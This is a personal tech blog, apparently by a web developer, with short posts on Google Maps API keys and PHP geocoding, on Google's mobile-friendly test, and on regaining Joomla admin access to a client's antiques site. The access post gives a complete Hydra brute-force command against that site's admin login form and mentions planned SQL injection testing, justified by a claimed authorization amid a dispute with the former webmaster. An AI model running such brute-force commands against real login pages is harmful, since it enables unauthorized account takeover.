Authorized Brute Force Password Attack from 104.175.53.76

Since I have been authorized to pentest Design-atelier-antiques, I installed and ran Hydra on Ubuntu Linux. Below is an example of what I typed into the command line window.

hydra -l adminv01 -P pwlist3.txt -s 80 -f www.designer-atelier-antiques.com http-post-form "antiques/administrator/index.php?page=login.php:usrname=^USER^&pass=^PASS^&login-php-submit-button=Login:Incorrect Username"

Shady Blackmailing Web Master

The creator of Design-Atelier-Antiques is claiming that the stakeholder owes for domain renewal payments that he has been making on their behalf. The stakeholder claims that this web master cost them $4000.00. I was astonished by this amount but even more so by the web master withholding Joomla administration access. A scan of this URL should reveal the web master name.

Meanwhile, I've continued to explore ways of regaining control via the following:

• Samix Blogspot Com
• InfoSecInstitute
• Garage4Hackers

Permission to Hack a Site

With the disappearance of the original webmaster and having received permission to hack my client's site, I spidered the URL with Screaming Frog's SEO Spider. After reviewing the results, I determined that the Joomla site had its administrator page here. Now the fun begins with guessing the password, testing for SQL injection and brute forcing a login. Stay tuned.

Update to Google Maps API Suddenly Exceeding Quota

Follow these links:

The Google Geocoding API

Geocoding Strategies

The key (no pun intended) here is whether you will use a browser key or a server key. Since my PHP script is using file-get-contents($requestURL), where $requestURL might look like this

https://maps.googleapis.com/maps/api/geocode/json?latlng=

I will create and copy the server key from the

https://console.developers.google.com/project

Now I am still trying to figure out where to place this code in the PHP/HTML/Javasript page. You'd think that

      src="https://maps.googleapis.com/maps/api/js?key=API_KEY">
    

would work. But not necessarily so. Stay tuned.

Google Maps API

Last night while testing the features of SpiderOnFire, I found that step 2 Mark stopped working. After adding an echo,I realized that my call to the maps API using the clever key "abcdefg" stopped working after years of service.

A quick visit to google developers console allowed me to properly define a key associated with this project: Widespread Augmented Reality

Get one for yourself be following these steps:

Find APIs&Auth in left pane

Select APIs

Create key for browser

Select credentials in left pane to verify

Copy key into your web page code

Example:

define("MAPS_HOST", "maps.google.com");
define("KEY", "AIzaSyC6Fhp2Q78tcAf3FVmkY--xxxxxxxxx");
.....
$base_url = "http://maps.googleapis.com/maps/api/geocode/json?latlng=" ;
   $location = $_POST['latlng'];
   $location = substr($location,1,-1);
   $location = str_replace(" ","",$location); 
   
   $emd_url =  "&sensor=false" ;
   $request_url = $base_url . $location . $emd_url;
   $jsoncontents = file_get_contents($request_url) ;
   $decodedjson = json_decode($jsoncontents);
   $formattedaddy= $decodedjson->results[0] -> formatted_address;


 

Google's Mobile Friendly Test

If you are hoping to rise up the ranks of Google's new mobile search algorithm, the mobile friendly test is a good place to start.

Bypass Google Play Client

Check out Raccoon